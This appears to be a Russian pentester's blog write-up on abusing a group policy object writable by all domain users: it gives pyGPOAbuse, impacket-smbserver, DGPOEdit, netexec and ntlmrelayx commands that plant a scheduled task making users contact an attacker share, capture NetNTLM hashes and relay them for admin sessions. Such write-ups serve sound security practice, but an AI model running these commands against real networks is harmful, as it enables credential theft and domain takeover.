Групповая политология, или еще один путь к администратору домена

в 7:15, , рубрики: active directory, Bloodhound, group policy, scheduled task
Групповая политология, или еще один путь к администратору домена - 1

Привет!

Давно хотел написать эти строчки, но получилось это сделать в возрасте, когда бытовых и семейных проблем становится все больше, а свободного времени все меньше.
Моя первая статья, поэтому прошу не судить строго. Пару слов обо мне, или, как пишут в большинстве презентаций на профильных конференциях - who am i.

Работаю пентестером вот уже немало лет в одной около-государственной компании, оказывающей услуги аудита информационной безопасности организациям, функционирующим в различных сферах деятельности. В своей работе часто приходится сталкиваться c пентестом внутрянки, и обычно (в 90% случаях) это Active Directory. Вот, пожалуй, и всё, перейдем ближе к делу.

Initial Access

Распространенные векторы атак на AD всем давно известны, не будем останавливаться на них подробно. Чаще всего они предусматривают получение учетной записи пользователя с дальнейшим повышением до доменного администратора.

В одном из пентестов нашей командой была добыта ничем не примечательная учетка пользователя с последующим сбором информации о домене с помощью широко известного инструмента BloodHound.

Каким же было моё удивление, когда я построил вектор атаки до группы «Domain Admins» и увидел такую картину!

Вектор атаки до группы Domain Admins

Вектор атаки до группы Domain Admins

Захваченный нами пользователь входит в группу Domain Users, члены которой имеют права WriteDacl (право на выдачу прав) на групповую политику, которая распространяется на несколько OU (Organizational Unit), в состав которых входят в том числе администраторы домена. Это если описать цепочку подробно. А если коротко, то можно сформулировать так - любой пользователь домена может стать администратором за пару шагов!

Что ж, грех не проэксплуатировать данный вектор. Начинаем.

Попытки эксплуатации небезопасных настроек GPO

В большинстве хороших и полезных статей по абузингу групповых политик (GPO Abuse) рассматриваются случаи, когда GPO распространяется на учетные записи компьютеров, и почти всегда в качестве примеров приводится создание пользователя на хостах, ну либо получение реверс-шелла.

Посмотрим, кто входит в наши OU:

Get-ADComputer -Credential $cred -Server IP_DC -Filter * -SearchBase $OUpath | Select-object *
Get-ADUser -Credential $cred -Server IP_DC -Filter * -SearchBase $OUpath | Select-object *

Машинных учетных записей не оказалось, придется воздействовать на учетные записи пользователей.

Наиболее частый и простой способ заабузить групповую политику - это создание задачи в планировщике задач (Scheduled Tasks). Для учетной записи компьютера (как я уже упомянул ранее) мы можем прописать задачу на добавление пользователя, получить реверс-шелл... Для пользователя же попробуем инициировать его обращение к нашей виртуальной машине Kali Linux, чтобы как минимум получить его NetNTLM хэш, а как максимум провести атаку NTLM-Relay и получить сессию на каком-нибудь хосте от его имени.

Для начала поднимем у себя smb-сервер (шару), к которой будут обращаться пользователи:

impacket-smbserver -smb2support share .

Далее используем скрипт pyGPOAbuse:

python3 pygpoabuse.py domain.ru/username:'password' -gpo-id "DDDDDDDD-BBBB-4444-AAAA-9E7FA13207A9" -powershell -command "copy \my_ipshare1.txt 123.txt" -f -user

Обратим внимание на флаг gpo-id (идентификатор групповой политики, можно посмотреть в том же BloodHound) и флаг user, который как раз и отвечает за то, чтобы наша задача выполнялась в контексте пользователя.

Как известно, обновление групповых политик может занимать от 5 до 120 минут, поэтому казалось, что успех близок. Но время шло, а никаких обращений к нашему великолепному файловому серверу не было, хэши не приходили, пользователи не стучались. В чем была ошибка, не понятно, как её исправить, тем более. Но ведь задача в групповой политике создавалась! Или нет?

Решение проблемы

Чтобы это проверить, было принято решение подключиться к редактору групповых политик напрямую и наглядно посмотреть все настройки нашей GPO. Быстрый (и не очень) гуглинг позволил найти отличную статью, описывающую процесс разработки утилиты DRSAT, с помощью которой можно "обмануть" оснастку MMC Group Policy Manager и получить доступ к редактору GPO.

Спойлер 1

Установить данное ПО получилось только на серверную ОС, благо под рукой оказалась виртуальная машина с Windows Server 2019, поэтому много времени мы не потеряли.

Спойлер 2

На момент проведения пентеста утилита выглядела и называлась по-другому, сейчас автор её доработал, но смысл понятен.

Качаем проект, компилируем, запускаем:

runas /user:domain.ruusername /netonly "DGPOEdit.exe /s /gpobject:LDAP://dc01.domain.ru/cn={DDDDDDDD-BBBB-4444-AAAA-9E4FA86707A9},cn=policies,cn=system,DC=domain,DC=ru"

Вводим пароль и попадаем в настройки групповой политики, к которой был доступ у скомпрометированного пользователя.

С использованием DRSAT открываем редактор групповой политики

С использованием DRSAT открываем редактор групповой политики

Зайдем в "Назначенные задания" пользователя.

Групповая политология, или еще один путь к администратору домена - 4

Ура, таски были успешно созданы и даже запущены! Тогда почему же не было обращений к нашему smb-серверу? Как выяснилось, pyGPOAbuse перед отправкой задачи в GPO кодирует powershell-команду в base64.

Эксперимента ради, зайдем в настройки задачи, вкладка "Действия", и перепишем команду в явном виде.

Редактирование задачи

Редактирование задачи

После данной манипуляции и 30 секунд ожидания пользователи начали обращаться на наш сервер. Хэши паролей успешно начали перехватываться! Можем накопить некоторое их количество и отправить на hashcat, однако парольная политика в организации была достаточно серьезная и в успех брутфорса верилось слабо.

Пользовательские обращения к серверу

Пользовательские обращения к серверу

Усложняемся

Если мы не можем забрутфорсить хэши, значит попробуем провести атаку NTLM-Relay и получить сессию с правами администратора на какой-нибудь хост.

В качестве целей укажем те, на которых отключено подписывание smb-пакетов:

netexec smb ip_addr/24 --gen-relay-list smb_targets.txt
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -i -socks
Немного ждем и получаем соединения

Немного ждем и получаем соединения

Дождемся соединения с AdminStatus = True и будем уже целенаправленно работать с этим хостом.

Открытые сессии

Открытые сессии

В нашем случае была получена сессия от имени администратора на один из файловых серверов, с которого и была выгружена вся нужная нам информация для захвата домена.

Впрочем, здесь уже началась классическая атака NTLM-Relay на SMB, что выходит за рамки нашей небольшой и несложной статьи. Всем спасибо за внимание =)

Автор: pisihor

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js